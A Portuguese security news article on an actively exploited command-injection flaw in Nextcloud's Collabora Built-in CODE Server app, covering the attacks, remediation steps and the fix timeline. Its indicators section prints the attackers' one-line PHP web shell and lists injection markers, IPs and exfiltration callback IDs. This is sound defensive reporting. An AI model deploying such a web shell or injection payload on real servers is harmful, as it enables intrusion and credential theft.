Segurança da informação

Invasores instalam backdoors em servidores Nextcloud por falha crítica em app da Collabora

Invasores exploraram uma falha em um app opcional do Nextcloud para instalar web shells em servidores. Administradores relataram o problema no GitHub, e o primeiro ataque registrado ocorreu em 10 de setembro.


Swati Khandelwal Quinta - 15 de Outubro de 2026 às 11:32
The Hacker News

Invasores exploraram uma falha em um app opcional do Nextcloud, Collabora Online - Built-in CODE Server, para instalar web shells em servidores Nextcloud. Três administradores relataram o problema no GitHub, e o primeiro ataque registrado ocorreu em 10 de setembro.

Um web shell é um pequeno arquivo que executa qualquer comando enviado por um invasor por meio de uma requisição web, com os privilégios da conta do servidor web. A falha permite que uma requisição não autenticada execute um comando no servidor, mas somente quando o servidor de documentos local do app não está em funcionamento, como durante uma reinicialização, uma atualização ou após uma falha.

A Collabora corrigiu o problema na versão 26.4.303 em 11 de setembro e, em 14 de outubro, publicou um comunicado de segurança com o identificador CVE-2026-110447 (sigla de Common Vulnerabilities and Exposures, padrão internacional de identificação de vulnerabilidades), alertando que desativar o app não resolve: ele precisa ser atualizado ou removido.

Quem é afetado

O app, publicado pela Collabora com o nome de pacote richdocumentscode, baixa uma cópia da Collabora Online Development Edition (CODE) e a executa no próprio servidor Nextcloud.

Isso permite que o Nextcloud Office edite documentos sem um servidor Collabora separado. Na descrição do app na loja, ele é apresentado como “para testes locais e uso não produtivo” e “para uso pessoal ou para pequenas equipes”.

O comunicado da Collabora abrange todas as versões anteriores à 26.4.303 e afirma que os servidores Collabora Online independentes não são afetados. Um alerta publicado no fórum da comunidade Nextcloud, em 3 de outubro, informou que uma instalação não é afetada se usar apenas o app Nextcloud Office (richdocuments), sem o app integrado, seja o servidor Collabora executado em Docker, a partir de um pacote Linux ou em um provedor de hospedagem.

O script proxy.php do app inicia o servidor CODE local sempre que chega uma requisição, mesmo quando nada está escutando. Nas versões até a 26.4.302, o script inseria o texto da requisição, incluindo seu caminho, dentro de um comando bash entre aspas duplas, onde o shell ainda executa tudo o que estiver escrito como $(...).

Uma requisição com um comando oculto no caminho executava esse comando como usuário do servidor web. Como o script só monta esse comando quando precisa iniciar o servidor, o ataque funciona apenas enquanto o servidor está parado, como durante a reinicialização de um contêiner, uma atualização ou uma falha.

O script é um arquivo PHP (linguagem de programação usada em servidores web) simples, que o servidor web executa diretamente a partir da pasta do app e não carrega nenhum código do Nextcloud.

“Não é suficiente desativar o app para evitar o problema; ele deve ser atualizado para >= 26.4.303 ou removido”, afirmou a Collabora no comunicado.

As versões corrigidas exigem o Nextcloud 30 ou superior.

O Nextcloud 29 e versões anteriores chegaram ao fim do suporte, e a loja de aplicativos ainda oferece a eles uma versão afetada; por isso, seus usuários devem atualizar o Nextcloud ou remover o app. A correção da Collabora para uma falha separada de injeção de comandos no mesmo script, CVE-2025-66208, divulgada em dezembro passado, não impede esta falha.

O que os atacantes fizeram

O primeiro relato veio de um administrador que hospeda vários servidores Nextcloud e escreveu no GitHub que os servidores vinham sendo invadidos desde o dia anterior. Os registros de acesso de dois deles mostram requisições às 19h51 de 10 de setembro e às 9h56 de 11 de setembro (horário UTC+2, em que UTC é a sigla de Tempo Universal Coordenado), ambas vindas de um mesmo endereço IP (protocolo de internet, identificador numérico de dispositivos na rede) e direcionadas a proxy.php?status, com um comando de shell oculto no caminho da requisição. Todos os servidores do administrador executavam a versão 26.4.302.

O comando decodificou um web shell PHP de uma linha dentro da pasta do app e tentou enviar a saída do comando uname -a do servidor para um endereço do webhook.site. Em um dos servidores, o invasor usou o shell para procurar repositórios de credenciais (arquivos que guardam senhas e chaves de acesso) e carteiras de criptomoedas, incluindo arquivos *.kdbx, wallet.dat e keystore.json e nomes como bitwarden, 1password, .bitcoin, .electrum, .monero e .ethereum.

As requisições analisadas não mostraram comandos que compactassem, enviassem ou copiassem arquivos, mas tudo o que a conta do servidor web pode ler deve ser considerado potencialmente exposto, escreveu o administrador.

Outros dois administradores relataram o mesmo em suas próprias instâncias. Um encontrou o shell quando a verificação de integridade do Nextcloud sinalizou um novo arquivo PHP; o outro soube da invasão por e-mails sobre tentativas falhas de sudo (comando que eleva privilégios de administrador) no servidor. Nenhum dos relatos mostra que o invasor obteve acesso root (superusuário, com controle total do sistema).

Depois de atualizar para a 26.4.303, um deles registrou outra tentativa em 14 de setembro, vinda de um segundo endereço IP, com uma carga de ataque do mesmo tipo. O servidor CODE que ela iniciou carregava o texto do ataque em suas opções de inicialização, mas nenhum novo arquivo de shell apareceu. A saída “parece assustadora, mas deveria ser inofensiva”, respondeu mmeeks, que falou pelo projeto na discussão, orientando os usuários a atualizar e a remover quaisquer arquivos shx*.php que tenham sobrado.

O registro da CVE descreve a falha como “explorada ativamente em setembro e outubro de 2026”. Não se sabe quantos servidores foram atingidos. “Isso afeta apenas a Development Edition, e somente neste modo de implantação Built-in CODE Server, que é mais raro e baixa um appimage local”, escreveu mmeeks.

O que fazer agora

Ações, em ordem:

  1. Atualize o richdocumentscode, que aparece na lista de apps do Nextcloud como Collabora Online - Built-in CODE Server, para a versão 26.4.303 ou superior, ou remova o app. Desativá-lo no Nextcloud não elimina a falha.
  2. No Nextcloud 29 ou anterior, que não pode instalar a 26.4.303, atualize o Nextcloud ou remova o app.
  3. Se você já atualizou, procure arquivos shx*.php, começando em apps/richdocumentscode, e apague-os. Em seguida, verifique os registros de acesso desde pelo menos 10 de setembro em busca de requisições proxy.php?status cujo caminho contenha %2e%2e, $( ou ${IFS}, e procure tentativas de sudo feitas pela conta do servidor web. Considere potencialmente exposto tudo o que essa conta podia ler, como recomendou o primeiro relator.
  4. A versão 26.4.402, lançada em 24 de setembro, reescreveu o comando de inicialização para passar cada opção como um argumento separado, mas administradores relatam que ela falha ao iniciar ou falha ao abrir documentos em algumas configurações. Eles voltaram para a 26.4.303, a versão que o comunicado indica como correção. Nenhuma versão mais recente havia sido lançada até 14 de outubro.

Indicadores dos registros dos administradores

Indicadores extraídos dos registros dos administradores:

  • Arquivo: shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php e shxf4645.php, encontrados em apps/richdocumentscode/ nos servidores do primeiro relator
  • Arquivo: shx13a86.php, encontrado por um segundo administrador (local não informado)
  • Arquivo: shx56367.php, nome usado na tentativa de 14 de setembro, que não criou nenhum arquivo
  • SHA-256 (algoritmo de hash de 256 bits usado para identificar arquivos): 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562, correspondente ao shell de uma linha <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
  • Caminho: /apps/richdocumentscode/proxy.php?status
  • IP: 139.28[.]18[.]122 (ataques de 10 e 11 de setembro) e 89.38[.]98[.]50 (tentativa de 14 de setembro contra um servidor já corrigido)
  • Marcadores nas requisições: %2e%2e, $(, ${IFS} e base64 -d encadeado com sh, todos no caminho da requisição
  • Domínio: webhook[.]site, um serviço público, com os IDs de callback 45060ed4-de0b-4119-8f0d-2a2776bbd413 e 774cf5e1-b5a4-4174-a1ad-0241861029a2

Uma correção lançada sem aviso de segurança

A mudança de código que fechou a falha são quatro linhas no proxy.php. O comando de inicialização agora é entregue ao bash como um único argumento escapado, em vez de uma string entre aspas duplas, de modo que o shell que o recebe não expande mais o texto da requisição.

O histórico de commits do repositório mostra que a mudança foi escrita em 20 de agosto por Caolán McNamara, que também publicou o comunicado, com o título “tidy up how the coolwsd launch command is built” (algo como “organiza a forma como o comando de inicialização do coolwsd é montado”). Ela não estava na versão 26.4.302, lançada em 31 de agosto, e foi incorporada em 9 de setembro. O primeiro ataque registrado ocorreu em 10 de setembro, e a 26.4.303 foi lançada em 11 de setembro, com notas de versão que mencionam apenas a build CODE incluída.

O administrador que relatou os ataques desativou o app enquanto aguardava uma correção, passo que o comunicado agora diz não ser suficiente. Na discussão, mmeeks orientou os usuários a atualizar, prometeu “mais atualizações no devido tempo” e citou um “acúmulo recorde” na base de avisos de segurança do GitHub, com link para uma publicação de junho em que o GitHub afirmou que seu processamento estava semanas atrasado.

Em 3 de outubro, um membro do fórum da comunidade Nextcloud alertou outros usuários para atualizar imediatamente, porque a falha estava “já sendo explorada” e “nenhum aviso ou CVE havia sido publicado”. A CVE e o comunicado saíram em 14 de outubro. O comunicado credita como relator um usuário do GitHub, wwwshellcodeit, mas nem o comunicado nem a discussão informam quando o relato foi feito ou quando a Collabora soube que a mudança era uma correção de segurança.

Nextcloud Vulnerabilidade Collabora